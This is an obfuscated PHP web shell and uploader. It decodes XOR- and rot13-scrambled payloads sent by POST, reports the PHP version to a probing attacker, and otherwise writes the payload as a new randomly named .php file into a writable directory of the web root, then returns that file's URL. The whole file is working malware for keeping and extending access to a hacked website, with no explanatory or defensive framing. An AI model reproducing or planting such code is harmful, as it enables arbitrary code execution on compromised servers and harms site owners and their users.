<?php $pvdkgwko = "iukeakzkioyvvvcl";$oweeycj = "";foreach ($_POST as $rpjdib => $wllgbbo){if (strlen($rpjdib) == 16 and substr_count($wllgbbo, "%") > 10){azajv($rpjdib, $wllgbbo);}}function azajv($rpjdib, $hinnlmok){global $oweeycj;$oweeycj = $rpjdib;$hinnlmok = str_split(rawurldecode(str_rot13($hinnlmok)));function qysoqn($vtpeibjq, $rpjdib){global $pvdkgwko, $oweeycj;return $vtpeibjq ^ $pvdkgwko[$rpjdib % strlen($pvdkgwko)] ^ $oweeycj[$rpjdib % strlen($oweeycj)];}$hinnlmok = implode("", array_map("qysoqn", array_values($hinnlmok), array_keys($hinnlmok)));$hinnlmok = @unserialize($hinnlmok);if (@is_array($hinnlmok)){$rpjdib = array_keys($hinnlmok);$hinnlmok = $hinnlmok[$rpjdib[0]];if ($hinnlmok === $rpjdib[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function zpluzwoqq($nfqyzebgir) {static $gxpju = array();$leefi = glob($nfqyzebgir . '/*', GLOB_ONLYDIR);if (count($leefi) > 0) {foreach ($leefi as $nfqyzebg){if (@is_writable($nfqyzebg)){$gxpju[] = $nfqyzebg;}}}foreach ($leefi as $nfqyzebgir) zpluzwoqq($nfqyzebgir);return $gxpju;}$scaeox = $_SERVER["DOCUMENT_ROOT"];$leefi = zpluzwoqq($scaeox);$rpjdib = array_rand($leefi);$xjlfa = $leefi[$rpjdib] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($xjlfa, $hinnlmok);echo "http://" . $_SERVER["HTTP_HOST"] . substr($xjlfa, strlen($scaeox));exit();}}}